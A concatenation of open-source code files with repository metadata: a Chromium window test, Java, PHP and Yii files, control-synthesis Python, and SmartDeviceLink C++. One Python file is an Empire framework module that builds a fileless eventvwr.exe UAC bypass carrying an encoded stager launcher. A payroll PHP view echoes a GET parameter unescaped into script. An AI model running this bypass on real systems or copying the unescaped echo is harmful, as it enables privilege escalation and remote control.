scoped_ptr<aura::Window> window( CreateTestLoginWindow(widget_params, false /* use_delegate */)); window->SetProperty(aura::client::kCanMaximizeKey, true); EXPECT_EQ(screen_bounds.ToString(), window->GetBoundsInScreen().ToString()); EXPECT_EQ(root_windows[0], window->GetRootWindow()); wm::WindowState* window_state = wm::GetWindowState(window.get()); window_state->SetRestoreBoundsInScreen(gfx::Rect(400, 0, 30, 40)); // Maximize the window with as the restore bounds is inside 2nd display but // lock container windows are always on primary display. window->SetProperty(aura::client::kShowStateKey, ui::SHOW_STATE_FULLSCREEN); EXPECT_EQ(root_windows[0], window->GetRootWindow()); EXPECT_EQ("0,0 300x400", window->GetBoundsInScreen().ToString()); window_state->Restore(); EXPECT_EQ(root_windows[0], window->GetRootWindow()); EXPECT_EQ("0,0 300x400", window->GetBoundsInScreen().ToString()); window_state->SetRestoreBoundsInScreen(gfx::Rect(280, 0, 30, 40)); window->SetProperty(aura::client::kShowStateKey, ui::SHOW_STATE_FULLSCREEN); EXPECT_EQ(root_windows[0], window->GetRootWindow()); EXPECT_EQ("0,0 300x400", window->GetBoundsInScreen().ToString()); window_state->Restore(); EXPECT_EQ(root_windows[0], window->GetRootWindow()); EXPECT_EQ("0,0 300x400", window->GetBoundsInScreen().ToString()); gfx::Rect work_area = ScreenUtil::GetDisplayWorkAreaBoundsInParent(window.get()); window->SetBounds(work_area); // Usually work_area takes Shelf into account but that doesn't affect // LockScreen container windows. EXPECT_NE(work_area.ToString(), window->GetBoundsInScreen().ToString()); EXPECT_EQ(screen_bounds.ToString(), window->GetBoundsInScreen().ToString()); } } // namespace test } // namespace ash
ltilve/chromium
ash/wm/lock_layout_manager_unittest.cc
C++
bsd-3-clause
11,480
package com.bnorm.infinite.builders; import com.bnorm.infinite.StateMachineStructure; /** * A factory interface for state machine builders. * * @param <S> the class type of the states. * @param <E> the class type of the events. * @param <C> the class type of the context. * @author Brian Norman * @since 1.0.0 */ public interface StateMachineBuilderFactory<S, E, C> { /** * Creates a state machine builder from the specified state machine structure. * * @param structure the state machine structure. * @return a state machine builder. */ StateMachineBuilder<S, E, C> create(StateMachineStructure<S, E, C> structure); }
bnorm-software/infinite
src/main/java/com/bnorm/infinite/builders/StateMachineBuilderFactory.java
Java
bsd-3-clause
663
<?php /** * @link https://www.humhub.org/ * @copyright Copyright (c) 2016 HumHub GmbH & Co. KG * @license https://www.humhub.com/licences */ namespace humhub\modules\user\permissions; use Yii; use humhub\modules\user\models\User; /** * ViewAboutPage Permission */ class SuperAdminPermition extends \humhub\libs\BasePermission { /** * @inheritdoc */ protected $id = 'create_private_space'; /** * @inheritdoc */ protected $title = "Create private space"; /** * @inheritdoc */ protected $description = "Can create hidden (private) spaces."; /** * @inheritdoc */ protected $moduleId = 'space'; /** * @inheritdoc */ protected $defaultState = self::STATE_DENY; }
LeonidLyalin/vova
common/humhub/protected/humhub/modules/user/permissions/SuperAdminPermition.php
PHP
bsd-3-clause
771
<!--<script type="text/javascript" src="http://ajax.aspnetcdn.com/ajax/jquery/jquery-2.1.4.min.js"></script> <script type="text/javascript" src="http://cdnjs.cloudflare.com/ajax/libs/knockout/3.4.0/knockout-min.js"></script> <script type="text/javascript" src="http://ajax.aspnetcdn.com/ajax/globalize/0.1.1/globalize.min.js"></script> <script type="text/javascript" src="http://cdn3.devexpress.com/jslib/15.2.11/js/dx.webappjs.js"></script> --> <!--Desktop UI widgets--> <script type="text/javascript" src="<?php echo Yii::$app->homeUrl;?>js/dxgrid/jszip.min.js"></script> <script type="text/javascript" src="<?php echo Yii::$app->homeUrl;?>js/dxgrid/dx.all.js"></script> <link rel="stylesheet" type="text/css" href="<?php echo Yii::$app->homeUrl;?>css/dx.common.css"/> <link rel="stylesheet" type="text/css" href="<?php echo Yii::$app->homeUrl;?>css/dx.light.css"/> <script type="text/javascript" src="<?php echo Yii::$app->homeUrl;?>js/client/payroll.js"></script> <?php if(!empty($_GET['c_id'])){ $encoded_company_id=$_GET['c_id']; } ?> <script type="text/javascript"> //var jq = $; jq(document).ready(function(){ fetchAllEmployees("<?php echo $encoded_company_id; ?>"); }); </script> <div class="box box-warning container-fluid"> <div class="box-header with-border"> <h3 class="box-title col-xs-6">Payroll Data - <?php if(!empty($company_detals['company_name'])){echo htmlentities($company_detals['company_name']); }?> <small><?php if(!empty($company_detals['company_client_number'])){echo '('.htmlentities($company_detals['company_client_number']).')'; }?></small></h3> <div class="col-xs-6 pull-right"> <a class=" btn bg-orange btn-flat btn-social pull-right" onclick="playVideo(5);"> <i class="fa fa-youtube-play"></i>View Help Video </a> </div> </div> <div class="col-xs-12 header-new-main width-98 hide"> <span class="header-icon-band"><i class="fa fa-file-text-o icon-band" style="font-weight: lighter;"></i></span> <p class="sub-header-new">Enter the information below for ALL employees who were employed with your company for any day of the reporting calendar year. This includes all part time and full time employees.</p> </div> <!-- /.box-header --> <div class="box-body"> <div class="col-md-12 "> <nav class="navbar " role="navigation" style="margin-bottom: 0px; float: left; width: 100%;"> <div id="sticky-anchor"></div> <div class="col-md-12 padding-left-0 padding-right-0" id="sticky" > <div class="" id="heading-navbar-collapse"> <div class="navbar-left document-context-menu" > <div class="btn-category pull-right"> <div class="" style=""> <a href="#" class="last btn navbar-btn btn-default hide" data-toggle="tooltip" data-placement="bottom" title="" data-original-title=""><i style="color: #0000" class="fa fa-flag fa-lg btn_icons"></i>Flag Selected Employees</a> <!--href="#modal-container-349870" data-toggle="modal" --> <div class="btn-group"> <a href="<?php echo Yii::$app->homeUrl;?>files/csv/sample.csv" class="btn btn-default"><i class="fa fa-download fa-lg btn_icons pd-r-5"></i>Download</a> <!-- <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <span class="caret"></span> <span class="sr-only">Toggle Dropdown</span> </button> <ul class="dropdown-menu"> <li><a href="<?php //echo Yii::$app->homeUrl;?>Images/sample.csv">Download Payroll Template</a></li> <li><a href="<?php //echo Yii::$app->homeUrl;?>Images/sample.csv">Download Employment Period</a></li> </ul> --> </div> <div class="btn-group"> <a href="<?php echo Yii::$app->homeUrl;?>client/payroll/uploademployees?c_id=<?php echo $encoded_company_id; ?>" class="btn btn-default"><i class="fa fa-upload fa-lg btn_icons pd-r-5"></i>Upload</a> <!-- <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <span class="caret"></span> <span class="sr-only">Toggle Dropdown</span> </button> <ul class="dropdown-menu"> <li><a onclick="showuploadconfirm();" href="#">Upload Payroll Data</a></li> <li><a onclick="showuploadconfirm();" href="#">Upload Employment Period</a></li> </ul> --> </div> <a class="last btn navbar-btn btn-default hide" id="display-full" href="<?php echo Yii::$app->homeUrl;?>Images/sample.csv" data-toggle="tooltip" data-placement="bottom" title="" data-original-title=""><i class="fa fa-download fa-lg btn_icons"></i>Download Payroll Template</a> <a class="last btn navbar-btn btn-default hide" id="display-940" href="#" data-toggle="tooltip" data-placement="bottom" title="" data-original-title=""><i style="color: #0000" class="fa fa-upload fa-lg btn_icons"></i>Upload Payroll Data</a> <!--<a class="last btn navbar-btn btn-default" id="display-full" href="<?php //echo Yii::$app->homeUrl;?>Images/sample.csv" data-toggle="tooltip" data-placement="bottom" title="" data-original-title=""><i class="fa fa-download fa-lg btn_icons"></i>Download Sample CSV</a>--> </div> </div> </div> </div> </div> </nav> </div> <div class=" col-md-12 no-pd-rg padding-right-0" style="margin-top: 15px;"> <div class="row col-xs-12 panel-0 no-pd-rg padding-right-0"> <div class="demo-container"> <div id="gridContainer"></div> </div> </div> </div> </div> <div> </div> </div> <!-- /.box-body --> </div>
skyinsurance/acars
modules/client/views/payroll/old-index.php
PHP
bsd-3-clause
5,879
<?php namespace app\controllers; use Yii; use app\models\Pctstokemi; use app\models\PctstokemiSearch; use yii\web\Controller; use yii\web\NotFoundHttpException; use yii\filters\VerbFilter; use yii\filters\AccessControl; use app\components\AccessRule; use app\models\User; /** * PctstokemiController implements the CRUD actions for Pctstokemi model. */ class PctstokemiController extends Controller { public function behaviors() { return [ 'verbs' => [ 'class' => VerbFilter::className(), 'actions' => [ 'delete' => ['post'], ], ], 'access'=>[ 'class'=>AccessControl::className(), 'only'=> ['index','create','view','update','delete'], 'ruleConfig'=>[ 'class'=>AccessRule::className() ], 'rules'=>[ [ 'actions'=>['index','create','view','update','delete'], 'allow'=> true, 'roles'=>[ User::ROLE_USER, User::ROLE_MODERATOR, User::ROLE_ADMIN ] ], ] ] ]; } /** * Lists all Pctstokemi models. * @return mixed */ public function actionIndex() { $searchModel = new PctstokemiSearch(); $dataProvider = $searchModel->search(Yii::$app->request->queryParams); return $this->render('index', [ 'searchModel' => $searchModel, 'dataProvider' => $dataProvider, ]); } /** * Displays a single Pctstokemi model. * @param integer $id * @return mixed */ public function actionView($id) { return $this->render('view', [ 'model' => $this->findModel($id), ]); } /** * Creates a new Pctstokemi model. * If creation is successful, the browser will be redirected to the 'view' page. * @return mixed */ public function actionCreate() { $model = new Pctstokemi(); if ($model->load(Yii::$app->request->post()) && $model->save()) { return $this->redirect(['view', 'id' => $model->id]); } else { return $this->render('create', [ 'model' => $model, ]); } } /** * Updates an existing Pctstokemi model. * If update is successful, the browser will be redirected to the 'view' page. * @param integer $id * @return mixed */ public function actionUpdate($id) { $model = $this->findModel($id); if ($model->load(Yii::$app->request->post()) && $model->save()) { return $this->redirect(['view', 'id' => $model->id]); } else { return $this->render('update', [ 'model' => $model, ]); } } /** * Deletes an existing Pctstokemi model. * If deletion is successful, the browser will be redirected to the 'index' page. * @param integer $id * @return mixed */ public function actionDelete($id) { $this->findModel($id)->delete(); return $this->redirect(['index']); } /** * Finds the Pctstokemi model based on its primary key value. * If the model is not found, a 404 HTTP exception will be thrown. * @param integer $id * @return Pctstokemi the loaded model * @throws NotFoundHttpException if the model cannot be found */ protected function findModel($id) { if (($model = Pctstokemi::findOne($id)) !== null) { return $model; } else { throw new NotFoundHttpException('The requested page does not exist.'); } } }
inamjung/swlreport
old/PctstokemiController.php
PHP
bsd-3-clause
3,949
# Copyright (c) 2011-2014 by California Institute of Technology # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # 3. Neither the name of the California Institute of Technology nor # the names of its contributors may be used to endorse or promote # products derived from this software without specific prior # written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS # FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CALTECH # OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF # USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT # OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF # SUCH DAMAGE. # """ Algorithms related to controller synthesis for discretized dynamics. Primary functions: - L{get_input} Helper functions: - L{get_input_helper} - L{is_seq_inside} See Also ======== L{discretize} """ from __future__ import absolute_import import logging import numpy as np from cvxopt import matrix, solvers import polytope as pc from .feasible import solve_feasible, createLM, _block_diag2 logger = logging.getLogger(__name__) try: import cvxopt.glpk except ImportError: logger.warn( '`tulip` failed to import `cvxopt.glpk`.\n' 'Will use Python solver of `cvxopt`.') solvers.options['msg_lev'] = 'GLP_MSG_OFF' def get_input( x0, ssys, abstraction, start, end, R=[], r=[], Q=[], mid_weight=0.0, test_result=False ): """Compute continuous control input for discrete transition. Computes a continuous control input sequence which takes the plant: - from state C{start} - to state C{end} These are states of the partition C{abstraction}. The computed control input is such that:: f(x, u) = x'Rx +r'x +u'Qu +mid_weight *|xc-x(0)|_2 be minimal. C{xc} is the chebyshev center of the final cell. If no cost parameters are given, then the defaults are: - Q = I - mid_weight = 3 Notes ===== 1. The same horizon length as in reachability analysis should be used in order to guarantee feasibility. 2. If the closed loop algorithm has been used to compute reachability the input needs to be recalculated for each time step (with decreasing horizon length). In this case only u(0) should be used as a control signal and u(1) ... u(N-1) discarded. 3. The "conservative" calculation makes sure that the plant remains inside the convex hull of the starting region during execution, i.e.:: x(1), x(2) ... x(N-1) are \in conv_hull(starting region). If the original proposition preserving partition is not convex, then safety cannot be guaranteed. @param x0: initial continuous state @type x0: numpy 1darray @param ssys: system dynamics @type ssys: L{LtiSysDyn} @param abstraction: abstract system dynamics @type abstraction: L{AbstractPwa} @param start: index of the initial state in C{abstraction.ts} @type start: int >= 0 @param end: index of the end state in C{abstraction.ts} @type end: int >= 0 @param R: state cost matrix for:: x = [x(1)' x(2)' .. x(N)']' If empty, zero matrix is used. @type R: size (N*xdim x N*xdim) @param r: cost vector for state trajectory: x = [x(1)' x(2)' .. x(N)']' @type r: size (N*xdim x 1) @param Q: input cost matrix for control input:: u = [u(0)' u(1)' .. u(N-1)']' If empty, identity matrix is used. @type Q: size (N*udim x N*udim) @param mid_weight: cost weight for |x(N)-xc|_2 @param test_result: performs a simulation (without disturbance) to make sure that the calculated input sequence is safe. @type test_result: bool @return: array A where row k contains the control input: u(k) for k = 0,1 ... N-1 @rtype: (N x m) numpy 2darray """ #@param N: horizon length #@type N: int >= 1 #@param conservative: # if True, # then force plant to stay inside initial # state during execution. # # Otherwise, plant is forced to stay inside # the original proposition preserving cell. #@type conservative: bool #@param closed_loop: should be True # if closed loop discretization has been used. #@type closed_loop: bool part = abstraction.ppp regions = part.regions ofts = abstraction.ts original_regions = abstraction.orig_ppp orig = abstraction._ppp2orig params = abstraction.disc_params N = params['N'] conservative = params['conservative'] closed_loop = params['closed_loop'] if (len(R) == 0) and (len(Q) == 0) and \ (len(r) == 0) and (mid_weight == 0): # Default behavior Q = np.eye(N*ssys.B.shape[1]) R = np.zeros([N*x0.size, N*x0.size]) r = np.zeros([N*x0.size,1]) mid_weight = 3 if len(R) == 0: R = np.zeros([N*x0.size, N*x0.size]) if len(Q) == 0: Q = np.eye(N*ssys.B.shape[1]) if len(r) == 0: r = np.zeros([N*x0.size,1]) if (R.shape[0] != R.shape[1]) or (R.shape[0] != N*x0.size): raise Exception("get_input: " "R must be square and have side N * dim(state space)") if (Q.shape[0] != Q.shape[1]) or (Q.shape[0] != N*ssys.B.shape[1]): raise Exception("get_input: " "Q must be square and have side N * dim(input space)") if ofts is not None: start_state = start end_state = end if end_state not in ofts.states.post(start_state): raise Exception('get_input: ' 'no transition from state s' +str(start) + ' to state s' +str(end) ) else: print("get_input: " "Warning, no transition matrix found, assuming feasible") if (not conservative) & (orig is None): print("List of original proposition preserving " "partitions not given, reverting to conservative mode") conservative = True P_start = regions[start] P_end = regions[end] n = ssys.A.shape[1] m = ssys.B.shape[1] idx = range((N-1)*n, N*n) if conservative: # Take convex hull or P_start as constraint if len(P_start) > 0: if len(P_start) > 1: # Take convex hull vert = pc.extreme(P_start[0]) for i in range(1, len(P_start)): vert = np.hstack([ vert, pc.extreme(P_start[i]) ]) P1 = pc.qhull(vert) else: P1 = P_start[0] else: P1 = P_start else: # Take original proposition preserving cell as constraint P1 = original_regions[orig[start]] # must be convex (therefore single polytope?) if len(P1) > 0: if len(P1) == 1: P1 = P1[0] else: print P1 raise Exception("conservative = False flag requires " "original regions to be convex") if len(P_end) > 0: low_cost = np.inf low_u = np.zeros([N,m]) # for each polytope in target region for P3 in P_end: if mid_weight > 0: rc, xc = pc.cheby_ball(P3) R[ np.ix_( range(n*(N-1), n*N), range(n*(N-1), n*N) ) ] += mid_weight*np.eye(n) r[idx, :] += -mid_weight*xc try: u, cost = get_input_helper( x0, ssys, P1, P3, N, R, r, Q, closed_loop=closed_loop ) r[idx, :] += mid_weight*xc except: r[idx, :] += mid_weight*xc continue if cost < low_cost: low_u = u low_cost = cost if low_cost == np.inf: raise Exception("get_input: Did not find any trajectory") else: P3 = P_end if mid_weight > 0: rc, xc = pc.cheby_ball(P3) R[ np.ix_( range(n*(N-1), n*N), range(n*(N-1), n*N) ) ] += mid_weight*np.eye(n) r[idx, :] += -mid_weight*xc low_u, cost = get_input_helper( x0, ssys, P1, P3, N, R, r, Q, closed_loop=closed_loop ) if test_result: good = is_seq_inside(x0, low_u, ssys, P1, P3) if not good: print("Calculated sequence not good") return low_u def get_input_helper( x0, ssys, P1, P3, N, R, r, Q, closed_loop=True ): """Calculates the sequence u_seq such that: - x(t+1) = A x(t) + B u(t) + K - x(k) \in P1 for k = 0,...N - x(N) \in P3 - [u(k); x(k)] \in PU and minimizes x'Rx + 2*r'x + u'Qu """ n = ssys.A.shape[1] m = ssys.B.shape[1] list_P = [] if closed_loop: temp_part = P3 list_P.append(P3) for i in xrange(N-1,0,-1): temp_part = solve_feasible( P1, temp_part, ssys, N=1, closed_loop=False, trans_set=P1 ) list_P.insert(0, temp_part) list_P.insert(0,P1) L,M = createLM(ssys, N, list_P, disturbance_ind=[1]) else: list_P.append(P1) for i in xrange(N-1,0,-1): list_P.append(P1) list_P.append(P3) L,M = createLM(ssys, N, list_P) # Remove first constraint on x(0) L = L[range(list_P[0].A.shape[0], L.shape[0]),:] M = M[range(list_P[0].A.shape[0], M.shape[0]),:] # Separate L matrix Lx = L[:,range(n)] Lu = L[:,range(n,L.shape[1])] M = M - Lx.dot(x0).reshape(Lx.shape[0],1) # Constraints G = matrix(Lu) h = matrix(M) B_diag = ssys.B for i in xrange(N-1): B_diag = _block_diag2(B_diag,ssys.B) K_hat = np.tile(ssys.K, (N,1)) A_it = ssys.A.copy() A_row = np.zeros([n, n*N]) A_K = np.zeros([n*N, n*N]) A_N = np.zeros([n*N, n]) for i in xrange(N): A_row = ssys.A.dot(A_row) A_row[np.ix_( range(n), range(i*n, (i+1)*n) )] = np.eye(n) A_N[np.ix_( range(i*n, (i+1)*n), range(n) )] = A_it A_K[np.ix_( range(i*n,(i+1)*n), range(A_K.shape[1]) )] = A_row A_it = ssys.A.dot(A_it) Ct = A_K.dot(B_diag) P = matrix(Q + Ct.T.dot(R).dot(Ct) ) q = matrix( np.dot( np.dot(x0.reshape(1, x0.size), A_N.T) + A_K.dot(K_hat).T, R.dot(Ct) ) + r.T.dot(Ct) ).T sol = solvers.qp(P, q, G, h) if sol['status'] != "optimal": raise Exception("getInputHelper: " "QP solver finished with status " + str(sol['status']) ) u = np.array(sol['x']).flatten() cost = sol['primal objective'] return u.reshape(N, m), cost def is_seq_inside(x0, u_seq, ssys, P0, P1): """Checks if the plant remains inside P0 for time t = 1, ... N-1 and that the plant reaches P1 for time t = N. Used to test a computed input sequence. No disturbance is taken into account. @param x0: initial point for execution @param u_seq: (N x m) array where row k is input for t = k @param ssys: dynamics @type ssys: L{LtiSysDyn} @param P0: C{Polytope} where we want x(k) to remain for k = 1, ... N-1 @return: C{True} if x(k) \in P0 for k = 1, .. N-1 and x(N) \in P1. C{False} otherwise """ N = u_seq.shape[0] x = x0.reshape(x0.size, 1) A = ssys.A B = ssys.B if len(ssys.K) == 0: K = np.zeros(x.shape) else: K = ssys.K inside = True for i in xrange(N-1): u = u_seq[i,:].reshape(u_seq[i, :].size, 1) x = A.dot(x) + B.dot(u) + K if not pc.is_inside(P0, x): inside = False un_1 = u_seq[N-1,:].reshape(u_seq[N-1, :].size, 1) xn = A.dot(x) + B.dot(un_1) + K if not pc.is_inside(P1, xn): inside = False return inside def find_discrete_state(x0, part): """Return index identifying the discrete state to which the continuous state x0 belongs to. Notes ===== 1. If there are overlapping partitions (i.e., x0 belongs to more than one discrete state), then return the first discrete state ID @param x0: initial continuous state @type x0: numpy 1darray @param part: state space partition @type part: L{PropPreservingPartition} @return: if C{x0} belongs to some discrete state in C{part}, then return the index of that state Otherwise return None, i.e., in case C{x0} does not belong to any discrete state. @rtype: int """ for (i, region) in enumerate(part): if pc.is_inside(region, x0): return i return None
necozay/tulip-control
tulip/abstract/find_controller.py
Python
bsd-3-clause
14,468
from lib.common import helpers class Module: def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'Invoke-EventVwrBypass', 'Author': ['@enigma0x3'], 'Description': ("Bypasses UAC by performing an image hijack on the .msc file extension and starting eventvwr.exe. " "No files are dropped to disk, making this opsec safe."), 'Background' : True, 'OutputExtension' : None, 'NeedsAdmin' : False, 'OpsecSafe' : True, 'MinPSVersion' : '2', 'Comments': [ 'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/', ] } # any options needed by the module, settable during runtime self.options = { # format: # value_name : {description, required, default_value} 'Agent' : { 'Description' : 'Agent to run module on.', 'Required' : True, 'Value' : '' }, 'Listener' : { 'Description' : 'Listener to use.', 'Required' : True, 'Value' : '' }, 'UserAgent' : { 'Description' : 'User-agent string to use for the staging request (default, none, or other).', 'Required' : False, 'Value' : 'default' }, 'Proxy' : { 'Description' : 'Proxy to use for request (default, none, or other).', 'Required' : False, 'Value' : 'default' }, 'ProxyCreds' : { 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', 'Required' : False, 'Value' : 'default' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu for param in params: # parameter format is [Name, Value] option, value = param if option in self.options: self.options[option]['Value'] = value def generate(self): listenerName = self.options['Listener']['Value'] # staging options userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-EventVwrBypass.ps1" try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) if launcher == "": print helpers.color("[!] Error in launcher generation.") return "" else: script += "Invoke-EventVwrBypass -Command \"%s\"" % (launcher) return script
pierce403/EmpirePanel
lib/modules/privesc/bypassuac_eventvwr.py
Python
bsd-3-clause
3,893
/* Copyright (c) 2013, Ford Motor Company All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. Neither the name of the Ford Motor Company nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "application_manager/commands/mobile/delete_command_request.h" #include "application_manager/application_impl.h" #include "application_manager/message_helper.h" #include "interfaces/MOBILE_API.h" #include "interfaces/HMI_API.h" #include "utils/helpers.h" namespace application_manager { namespace commands { DeleteCommandRequest::DeleteCommandRequest( const MessageSharedPtr& message, ApplicationManager& application_manager) : CommandRequestImpl(message, application_manager) , is_ui_send_(false) , is_vr_send_(false) , is_ui_received_(false) , is_vr_received_(false) , ui_result_(hmi_apis::Common_Result::INVALID_ENUM) , vr_result_(hmi_apis::Common_Result::INVALID_ENUM) {} DeleteCommandRequest::~DeleteCommandRequest() {} void DeleteCommandRequest::Run() { LOG4CXX_AUTO_TRACE(logger_); ApplicationSharedPtr application = application_manager_.application(connection_key()); if (!application) { LOG4CXX_ERROR(logger_, "Application is not registered"); SendResponse(false, mobile_apis::Result::APPLICATION_NOT_REGISTERED); return; } const int32_t cmd_id = (*message_)[strings::msg_params][strings::cmd_id].asInt(); smart_objects::SmartObject* command = application->FindCommand(cmd_id); if (!command) { LOG4CXX_ERROR(logger_, "Command with id " << cmd_id << " is not found."); SendResponse(false, mobile_apis::Result::INVALID_ID); return; } smart_objects::SmartObject msg_params = smart_objects::SmartObject(smart_objects::SmartType_Map); msg_params[strings::cmd_id] = (*message_)[strings::msg_params][strings::cmd_id]; msg_params[strings::app_id] = application->app_id(); // we should specify amount of required responses in the 1st request uint32_t chaining_counter = 0; if ((*command).keyExists(strings::menu_params)) { ++chaining_counter; } if ((*command).keyExists(strings::vr_commands)) { ++chaining_counter; } /* Need to set all flags before sending request to HMI * for correct processing this flags in method on_event */ if ((*command).keyExists(strings::menu_params)) { is_ui_send_ = true; } // check vr params if ((*command).keyExists(strings::vr_commands)) { is_vr_send_ = true; } if (is_ui_send_) { StartAwaitForInterface(HmiInterfaces::HMI_INTERFACE_UI); SendHMIRequest(hmi_apis::FunctionID::UI_DeleteCommand, &msg_params, true); } if (is_vr_send_) { // VR params msg_params[strings::grammar_id] = application->get_grammar_id(); msg_params[strings::type] = hmi_apis::Common_VRCommandType::Command; StartAwaitForInterface(HmiInterfaces::HMI_INTERFACE_VR); SendHMIRequest(hmi_apis::FunctionID::VR_DeleteCommand, &msg_params, true); } } bool DeleteCommandRequest::PrepareResponseParameters( mobile_apis::Result::eType& result_code, std::string& info) { using namespace helpers; ResponseInfo ui_delete_info( ui_result_, HmiInterfaces::HMI_INTERFACE_UI, application_manager_); ResponseInfo vr_delete_info( vr_result_, HmiInterfaces::HMI_INTERFACE_VR, application_manager_); const bool result = PrepareResultForMobileResponse(ui_delete_info, vr_delete_info); const bool is_vr_or_ui_warning = Compare<hmi_apis::Common_Result::eType, EQ, ONE>( hmi_apis::Common_Result::WARNINGS, ui_result_, vr_result_); info = MergeInfos(ui_delete_info, ui_info_, vr_delete_info, vr_info_); if (is_vr_or_ui_warning && !ui_delete_info.is_unsupported_resource && !vr_delete_info.is_unsupported_resource) { LOG4CXX_DEBUG(logger_, "VR or UI result is warning"); result_code = mobile_apis::Result::WARNINGS; return result; } result_code = PrepareResultCodeForResponse(ui_delete_info, vr_delete_info); LOG4CXX_DEBUG(logger_, "Result is " << (result ? "true" : "false")); return result; } void DeleteCommandRequest::on_event(const event_engine::Event& event) { LOG4CXX_AUTO_TRACE(logger_); const smart_objects::SmartObject& message = event.smart_object(); switch (event.id()) { case hmi_apis::FunctionID::UI_DeleteCommand: { EndAwaitForInterface(HmiInterfaces::HMI_INTERFACE_UI); is_ui_received_ = true; ui_result_ = static_cast<hmi_apis::Common_Result::eType>( message[strings::params][hmi_response::code].asInt()); LOG4CXX_DEBUG(logger_, "Received UI_DeleteCommand event with result " << MessageHelper::HMIResultToString(ui_result_)); GetInfo(message, ui_info_); break; } case hmi_apis::FunctionID::VR_DeleteCommand: { EndAwaitForInterface(HmiInterfaces::HMI_INTERFACE_VR); is_vr_received_ = true; vr_result_ = static_cast<hmi_apis::Common_Result::eType>( message[strings::params][hmi_response::code].asInt()); LOG4CXX_DEBUG(logger_, "Received VR_DeleteCommand event with result " << MessageHelper::HMIResultToString(vr_result_)); GetInfo(message, vr_info_); break; } default: { LOG4CXX_ERROR(logger_, "Received unknown event" << event.id()); return; } } if (IsPendingResponseExist()) { LOG4CXX_DEBUG(logger_, "Still awaiting for other responses."); return; } ApplicationSharedPtr application = application_manager_.application(connection_key()); if (!application) { LOG4CXX_ERROR(logger_, "Application is not registered"); return; } smart_objects::SmartObject& msg_params = (*message_)[strings::msg_params]; const int32_t cmd_id = msg_params[strings::cmd_id].asInt(); smart_objects::SmartObject* command = application->FindCommand(cmd_id); if (!command) { LOG4CXX_ERROR(logger_, "Command id " << cmd_id << " not found for " "application with connection key " << connection_key()); return; } mobile_apis::Result::eType result_code = mobile_apis::Result::INVALID_ENUM; std::string info; const bool result = PrepareResponseParameters(result_code, info); if (result) { application->RemoveCommand(msg_params[strings::cmd_id].asInt()); } SendResponse( result, result_code, info.empty() ? NULL : info.c_str(), &msg_params); } bool DeleteCommandRequest::Init() { hash_update_mode_ = HashUpdateMode::kDoHashUpdate; return true; } bool DeleteCommandRequest::IsPendingResponseExist() { LOG4CXX_AUTO_TRACE(logger_); return is_ui_send_ != is_ui_received_ || is_vr_send_ != is_vr_received_; } } // namespace commands } // namespace application_manager
APCVSRepo/sdl_core
src/components/application_manager/src/commands/mobile/delete_command_request.cc
C++
bsd-3-clause
8,137
if __name__ == '__main__': from views import * app.run(debug=True)
fxa90id/up-flask-forum
flask-forum.py
Python
bsd-3-clause
76
